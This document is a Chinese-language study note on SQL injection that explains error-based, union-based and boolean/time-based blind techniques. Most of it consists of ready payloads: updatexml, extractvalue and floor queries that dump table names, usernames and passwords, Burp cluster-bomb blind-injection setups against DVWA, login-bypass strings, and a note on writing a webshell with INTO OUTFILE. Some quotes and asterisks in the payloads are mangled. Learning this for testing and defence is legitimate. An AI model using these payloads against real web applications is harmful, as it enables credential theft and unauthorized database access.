sql注入
SQL注入攻击通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作
SQL注入产生原因及威胁:
刚刚讲过当我们访问动态网页时, Web 服务器会向数据访问层发起 Sql 查询请求,如果权限验证通过就会执行 Sql 语句。 很多时候需要结合用户的输入数据动态构造 Sql 语句,如果用户输入的数据被构造成恶意 Sql 代码,Web 应用又未对动态构造的 Sql 语句使用的参数进行审查,则会带来意想不到的危险。
- 猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。
- 绕过认证,列如绕过验证登录网站后台。
- 注入可以借助数据库的存储过程进行提权等操作
判断SQL注入点:报错注入、回显注入、盲注(boolean、time)
输入数据时,带参数,看网页是否访问数据库,如:最经典的单引号判断法http://xxx/abc.php?id=1‘
(如果页面显示错误,就代表有注入。如果没有,也有可能是盲注。可以通过抓包比较页面状态和字节数,判断是否有注入)
回显注入:可以直接在存在注入点的当前页面中获取返回结果。
报错注入:程序将数据库的返回错误信息直接显示在页面中,虽然没有返回数据库的查询结果,但是可以构造一些报错语句从错误信息中获取想要的结果。
例:
‘and+(extractvalue(1,concat(0x7e,(select+user()),0x7e)))=‘1
‘and+(updatexml(1,concat(0x7e,(select+user()),0x7e),1))=‘1
盲注:程序后端屏蔽了数据库的错误信息,没有直接显示结果也没有报错信息,只能通过数据库的逻辑和延时函数来判断注入的结果。根据表现形式的不同,盲注又分为based boolean(字节数不同)和based time两种类型。
sql注入点:数字型、字符型
在burp suit里面修改参数来进行判断(burp里面不识别空格,要用+代替)
猜测语句:
1-数字型:
select 字段名 from 表名 where id = 1;
例:
http://www.sql.com/xxx.php?id=1 假设ID为存在注入的参数
http://www.sql.com/xxx.php?id=1‘ 语句报错
http://www.sql.com/xxx.php?id=1 and 1=1 页面正常返回结果
http://www.sql.com/xxx.php?id=1 and 1=2 页面返回错误
数字型注入一般出现在asp,php等弱类型语言中,强类型语言很少存在。
2-字符型:
select 字段名 from 表名 where id = ‘;
例:
http://www.sql.com/xxx.php?id=1 假设ID为存在注入的参数
http://www.sql.com/xxx.php?id=1‘ 语句报错
http://www.sql.com/xxx.php?id=1‘ and 1=1 and ‘1‘=‘1 页面正常返回结果
http://www.sql.com/xxx.php?id=1‘ and 1=2 and ‘1‘=‘1 页面返回错误
3-搜索型:
select 字段 from 表名 where username like ‘%k%’;
http://www.sql.com/xxx.php?search=test 假设search为存在注入的参数
http://www.sql.com/xxx.php?search=test‘ 语句报错
http://www.sql.com/xxx.php?search=test%‘ and 1=1 and ‘%‘=‘ 页面正常返回结果
http://www.sql.com/xxx.php?search=test%‘ and 1=2 and ‘%‘=‘ 页面返回错误
相关SQL函数笔记
盲注常用聚合函数
-
mid:例:MID(字段名,开始位置(起始值为1),结束位数(length))
字符串从1开始,而非0,Length是可选项,如果没有提供,MID()函数将返回余下的字符串。
-
left:
LEFT()
函数是一个字符串函数,它返回具有指定长度的字符串的左边部分。LEFT(Str,length);
接收两个参数:
str:一个字符串;
length:想要截取的长度,是一个正整数;
-
substr:substr(string string,num start,num length);
string为字符串;
start为起始位置,字符串从1开始而非0;
length为长度。
联合常用函数查询函数
-
count:count(*) 它返回检索行的数目, 不论其是否包含 NULL值。
-
distinct:去重,放在被查询数据前面,如:group_concat(distinct+database())
MySQL十大报错函数:https://www.cnblogs.com/zztac/p/11441292.html
- groupconcat:把目标字段的值打印在一行,逗号分隔(默认)
报错注入
-
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
改变XML_document中符合XPATH_string的值
而我们的注入语句为:
updatexml(1,concat(0x7e,(``SELECT` `@@version),0x7e),1)
其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出
ERROR 1105 (HY000): XPATH syntax error: ``‘:root@localhost‘
我的理解就是updatexml函数具有查询功能 并且会再xpath处查询 你将语法构造错误 然后它就会将他查询的结果已报错的形式显示出来
-
concat:连接字符串,一般联合updataxml使用
例:id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)
0x7e为“~”符号,不符合xpath格式,报错执行语句。
补充语句函数
1-into outfile
作用将查询结果输出保存到一个文件中,可以利用其写入一句话木马
利用需要的条件有:
1、对web目录需要有写权限能够使用单引号
2、知道绝对路径
3、没有配置-secure-file-priv(安装MySQL的时候限制了导入与导出的目录权限)
? (1)NULL,表示禁止。
? (2)如果value值有文件夹目录,则表示只允许该目录下文件(PS:测试子目录 也不行)。
? (3)如果为空,则表示不限制目录。
网址推荐:https://www.cnblogs.com/hzk001/p/12217516.html
SQL注入实现思路
burpsuit手工注入(dvwa盲注substr)、示例过程
sql注入思路
-
抓包,查看是否存在注入点
-
判断注入类型(报错、回显、盲注)
-
判断注入为字符型还是数字型
-
构造语句,进行注入
盲注手工注入过程
-
抓包,找到注入点的包
-
构建SQL语句查看重放,通过字节数变化情况查看语句构建是否成功
id=1‘and+substr("name",1,1)=‘n
查看数据库名的位数
id=1‘and+length(database())=1‘
(先测试语句构建是否成功,1‘and+length(“name”)=‘4,name长度为4的时候字节数与其他数字不同所以语句有效,通过更改=号后面的数字变量来找出database的长度)
pload选择数字,from从1to20,step间隔为1.
然后换成想要的数据 id=1‘and+substr(database(),1,1)=‘a ,进行配对
-
半自动爆破完成破解
-
id=1‘and+substr(database(),§1§,1)=‘§b§ 将开始位数和结果设成变量
-
选择交叉爆破 cluster bomb
-
分别给上字典1-10,a-z
-
开始爆破
成功后排一下序(给pload1升序,长度降序),显示总共4位字符,dvwa
-
盲注if语句构造方法
If语句构造:1‘and+if(substr(database(),1,1)=‘d‘,1,0)+--+
Pload:1‘and+if(substr(version(),§1§,1)=‘§d§‘,1,0)+--+
1-为0-9 2-为a-z
If语句构造:1‘and+if(substr(version(),1,1)=‘d‘,1,0)+--+
Pload:1‘and+if(substr(version(),§1§,1)=‘§d§‘,1,0)+--+
1-为0-9 2-为0-9+.
Case when 语句:
构造语句:1‘and+1/(case+when+substr(version(),§1§,1)=‘§1§‘+then+1+else+0+end)=‘1
Plaod如上所述不变,只是构造语句变了。1/1=1为真,1/0=1为假
时间盲注
时间盲注存在时,无法通过字节数的变化来判断语句的构造
if(a,b,c) 当a为真是执行b为假执行c
常用时间盲注语句:1‘and+if(substr(database(),1,1)=‘d‘,sleep(5),sleep(1))+--+
万能密码
1-列出3种万能密码的代码
mysql的查询语句:
SELECT * FROM users
WHERE user = ‘$user(用户输入、插入数据的地方)‘ AND password = ‘$pass‘;
优先级:mysql会优先处理and然后是or
1-admin’or ‘’=’’ limit 1 #
Or,两边都为真但只需要一个为真结果就为真,所以最终有数据库内所有账户选择,需要加limit选择一个账户实现万能密码
2-admin’or ’’=’ #
Or,admin为真,字符=整数为假,所以or一个为真结果为真,只有一个admin账户选项,实现万能密码
3-admin’or’1’=’1 +---+
与2同理
2-admin’or’1’=’1’ limit 1 #
与1同理
3-admin’and’1’=’1’ #
And两边同时为真,结果为真,而且账户不能随机账户,实现万能密码
4-admin’or’1’=’1’’
And的优先级高于or所以最后一个单引号闭合了后面的引号,后面的and语句先判定再判断or’1’=’1’还是为真。所以不用注释后面的语句,相当于admin’or’1’=’1 +---+。
回显查询注入思路实现
MySQL中information_schema库
这个数据库中有三个表,存放了所以数据库名,所有数据表名和所有数据表的字段名
SCHEMATA表
字段:SCHEMA_NAME(所有库名)
TABLES表
字段:TABLE_SCHEMA(所有库名) TABLE_NAME(所有表名)
COLUMNS表
字段:TBALE_SCHEMA(所有库名) TABLE_NAME(所有表名) COLUMN_NAME(所有字段名)
SQL注入的原理简单的讲,就是发现注入-->构建poc(sql语句)
联合查询注入利用的前提
前提条件:页面上有显示位
显示位
在一个在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数 据展示在页面中,这个展示数据的位置就叫显示位
流程:
-
判断注入点:略
-
判断整型和字符型:略
-
判断查询列数(构建poc时,必须要符合其查询列数,选择将查询结果放在第几列显示,列:?id=‘union select 1,database(),user()‘)
看他字段能查询的列数为几列
输入‘ union select 1,2,3‘第一个查询字段为1,第二个为2,依次 类推。我们可以通过二分法来猜解列数,输入‘ union select 1,2,3,4‘发现页面错误,说明没有4列。输入‘ union select 1,2‘发现页面错误,说明也没有2列。输入‘ union select 1,2,3‘输入3列时,页面正常,说明有3列。
-
判断显示位
-
获取数据库名
看后面的poc
-
获取表名
-
获取字段名
-
获取字段数据
回显联合查询poc
统计所有数据库的数量:
1‘union+select+1,count(distinct+table_schema)+from+information_schema.tables--+
获取所有数据库名(去重):
1‘union+select+1,group_concat(distinct table_schema)+from+information_schema.tables--+
获取所有数据表名:
1‘union+select+1,group_concat(table_name)+from+information_schema.tables--+
获取当前数据库的所有表名:
1‘union+select+1,group_concat(table_name)+from+information_schema.tables where table_schema=‘dvwa‘--+
获取表(用户)字段:
1‘union+select+1,group_concat(column_name)+from+information_schema.columns where table_schema=‘dvwa‘+and+table_name=‘users‘--+
报错注入poc
报错注入:
- updatexml
- 爆库
id=1 and updatexml(1,concat(0x23,database()),1) - 爆表
id=1 and updatexml(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’ )),1) - 爆字段
id=1 and updatexml(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’)),1) - 爆内容
id=1 and
updatexml(1,concat(0x23,(select group_concat(password,username) from security.users),0x23),1)
- 爆库
- floor
- 爆库id=1 union Select 1,count(),concat(0x23,0x23,(select database()),0x23,0x23,floor(rand(0)2))a from information_schema.columns group by a–+
- 爆表id=1 union Select 1,count(),concat(0x23,0x23,(select count(table_name) from information_schema.tables where table_schema=‘security’ limit 0,1),0x23,0x23,floor(rand(0)2))a from information_schema.columns group by a–+
- 调整 limit 的参数,将所有表名爆出
id=1 union Select 1,count(),concat(0x23,0x23,(select table_name from information_schema.tables where table_schema=‘security’ limit 1,1),0x23,0x23,floor(rand(0)2))a from information_schema.columns group by a–+ - 爆列名
id=1 union Select 1,count(),concat(0x23,0x23,(select count(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1),0x23,0x23,floor(rand(0)2))a from information_schema.columns group by a–+ - 爆字段
and(select 1 from(select count(),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)and(select 1 from(select count(),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)
报错注入:
‘and ExtractValue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema=‘security‘ and table_name=‘users‘)))=‘1
报错注入:
‘and ExtractValue(1,concat(0x23,(select group_concat(id,‘‘,username,‘‘,password) from security.users)))=‘1
‘and ExtractValue(1,concat(0x23,(select concat(id,‘‘,username,‘‘,password) from security.users limit 2,1)))=‘1